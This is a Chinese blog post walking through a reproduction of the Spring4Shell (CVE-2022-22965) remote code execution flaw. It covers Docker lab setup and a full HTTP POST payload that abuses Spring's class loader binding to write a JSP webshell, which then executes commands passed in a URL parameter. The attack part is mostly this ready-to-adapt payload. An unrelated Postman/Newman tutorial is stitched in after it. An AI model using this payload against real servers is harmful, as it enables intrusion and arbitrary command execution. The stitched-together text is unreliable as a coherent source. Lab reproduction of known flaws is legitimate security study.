Spring4shell远程命令执行(CVE-2022-22965)

本文介绍了Spring4Shell漏洞原理及利用条件,适用于JDK9+、特定版本的SpringFramework及部署方式。文中详细展示了如何使用Docker搭建测试环境,并通过构造POST请求实现Webshell上传,最终完成命令执行。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

一 漏洞原理

Java Spring framework今年又爆出两个远程命令执行漏洞,一个影响的是Spring Cloud组件,另一个就是Spring4Shell(因Log4Shell而得名),该漏洞是基于CVE-2010-1622的补丁绕过,通过构造的POST请求,可以上传Webshell,进而命令执行。

二 利用条件以及影响范围

  • JDK 9+

  • Spring Framework 版本(<5.2 | 5.2.0-19 | 5.3.0-17)

  • Apache Tomcat的web应用服务器,部署方式为WAR包

  • 依赖Spring Framework的spring-webmvc或spring-webflux组件

  • Spring Framework 5.3.X < 5.3.18 
  • Spring Framework 5.2.X < 5.2.20

三 漏洞复现

        1.环境搭建

                这里使用docker搭建(也可以使用在线的vulfocus)

                以下是使用docker搭建的命令

docker pull vulfocus/spring-core-rce-2022-03-29      //下载漏洞镜像
docker run -d -p 8010:8080 --name springrce -it vulfocus/spring-core-rce-2022-03-29   //启动并映射端口,映射的端口可以自主调节

搭建好之后,出现以下图片说明搭建成功

         2.漏洞利用

                使用抓包工具进行抓包,更改为post传输方式,修改数据包,使用payload进行weshell写入

payload(可以自行修改):

第一行:要写入的内容

第二行:文件后缀

第三行:写入路径

第四行:写入文件名称

第五行空值即可

suffix: %>//
c1: Runtime
c2: <%
DNT: 1
Content-Type: application/x-www-form-urlencoded

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di%20java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

使用重发模块进行测试,如下图

在浏览器访问即可(shell.jsp记得替换为自己传入的文件名称哦)

 http://xx.xx.xx.xx:端口/shell.jsp?pwd=j&cmd=whoami

 exp:GitHub - reznok/Spring4Shell-POC: Dockerized Spring4Shell (CVE-2022-22965) PoC application and exploit

 

### Postman 使用教程 #### 1. 安装与环境准备 为了能够在命令行中运行 Postman 测试脚本,需要先安装 Node.js 和 Newman 插件。Node.js 是 JavaScript 运行时环境,而 Newman 则是 Postman 提供的一个命令行工具,用于执行已有的 Postman 集合测试。 - **安装 Node.js**: 确保计算机上已经安装了 Node.js,这是使用 Newman 的前提条件[^1]。 - **安装 Newman**: 在确认 Node.js 已经成功安装之后,在终端或者命令提示符下输入以下命令来全局安装 Newman: ```bash npm install -g newman ``` #### 2. 创建并管理 Postman 集合 Postman 支持创建各种 HTTP 请求集合(Collection),这些集合可以用来存储多个 API 接口及其参数配置。 - **新建 Collection**: 打开 Postman 应用程序后,可以通过左侧菜单栏选择 “Collections”,然后点击右上方的 “New Collection” 来创建一个新的集合[^3]。 - **添加 Request 至 Collection**: 对于每一个接口测试需求,都可以通过点击 Collection 下面的加号图标新增具体的请求项,并设置其 URL 地址、请求方式 (GET/POST/PATCH...) 及其他必要选项如 Headers 或 Body 数据等内容。 #### 3. 导出 Collection 文件以便离线操作或自动化部署 当完成了所有必要的接口定义工作以后,可能还需要把这些信息保存下来以备后续重复利用或者是与其他团队成员共享资源文件之需。 - **导出 Collection**: 在目标 Collection 上单击鼠标右键找到 Export 功能入口;接着按照界面指引选取合适的版本格式以及指定本地路径完成整个过程即可[^2]。 #### 4. 命令行运行测试案例 借助之前提到过的 Newman 工具就可以轻松实现无需图形界面支持下的批量处理任务模式啦! 假设我们已经有了名为 `example.postman_collection.json` 的 collection 文件,则可通过如下指令启动关联的一系列验证动作: ```bash newman run example.postman_collection.json --reporters cli,junit --reporter-junit-export results.xml ``` 上述例子展示了如何调用 Newman 并附加额外报告生成器的功能特性。 --- ###
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

种树人1

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值